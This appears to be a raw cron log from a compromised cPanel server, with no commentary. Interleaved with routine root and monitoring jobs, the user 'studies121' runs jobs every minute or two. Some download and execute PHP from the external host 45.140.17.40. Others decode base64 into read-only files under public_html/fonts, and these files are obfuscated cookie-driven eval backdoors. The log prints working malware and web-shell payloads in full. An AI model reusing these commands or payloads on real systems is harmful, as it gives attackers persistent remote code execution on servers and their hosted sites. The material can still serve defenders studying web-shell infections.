Sep 10 13:25:01 ip-184-168-122-23 CROND[14856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:26:01 ip-184-168-122-23 CROND[15042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:26:01 ip-184-168-122-23 CROND[15043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:26:01 ip-184-168-122-23 CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:26:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:26:01 ip-184-168-122-23 CROND[15047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:27:01 ip-184-168-122-23 CROND[15145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:27:01 ip-184-168-122-23 CROND[15146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:27:01 ip-184-168-122-23 CROND[15149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:27:01 ip-184-168-122-23 CROND[15152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:28:01 ip-184-168-122-23 CROND[15248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:28:01 ip-184-168-122-23 CROND[15249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:28:01 ip-184-168-122-23 CROND[15252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:28:01 ip-184-168-122-23 CROND[15251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:28:01 ip-184-168-122-23 CROND[15253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:29:01 ip-184-168-122-23 CROND[15369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:29:01 ip-184-168-122-23 CROND[15371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:29:01 ip-184-168-122-23 CROND[15372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:29:01 ip-184-168-122-23 CROND[15373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:30:01 ip-184-168-122-23 CROND[15478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:30:01 ip-184-168-122-23 CROND[15487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:31:02 ip-184-168-122-23 CROND[15689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:31:02 ip-184-168-122-23 CROND[15691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:31:02 ip-184-168-122-23 CROND[15690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:31:02 ip-184-168-122-23 CROND[15692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:31:02 ip-184-168-122-23 CROND[15693]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:32:01 ip-184-168-122-23 CROND[15802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:32:01 ip-184-168-122-23 CROND[15806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:32:01 ip-184-168-122-23 CROND[15804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:32:01 ip-184-168-122-23 CROND[15805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:32:01 ip-184-168-122-23 CROND[15807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:33:01 ip-184-168-122-23 CROND[15900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:33:01 ip-184-168-122-23 CROND[15901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:33:01 ip-184-168-122-23 CROND[15905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:33:01 ip-184-168-122-23 CROND[15906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:34:01 ip-184-168-122-23 CROND[16027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:34:01 ip-184-168-122-23 CROND[16029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:34:01 ip-184-168-122-23 CROND[16030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:34:01 ip-184-168-122-23 CROND[16031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:34:01 ip-184-168-122-23 CROND[16032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:35:01 ip-184-168-122-23 CROND[16146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16141]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 13:35:01 ip-184-168-122-23 CROND[16144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:36:01 ip-184-168-122-23 CROND[16292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:36:01 ip-184-168-122-23 CROND[16294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:36:01 ip-184-168-122-23 CROND[16293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:36:01 ip-184-168-122-23 CROND[16297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:36:01 ip-184-168-122-23 CROND[16295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:37:01 ip-184-168-122-23 CROND[16482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:37:01 ip-184-168-122-23 CROND[16484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:37:01 ip-184-168-122-23 CROND[16485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:37:01 ip-184-168-122-23 CROND[16486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:38:01 ip-184-168-122-23 CROND[16603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
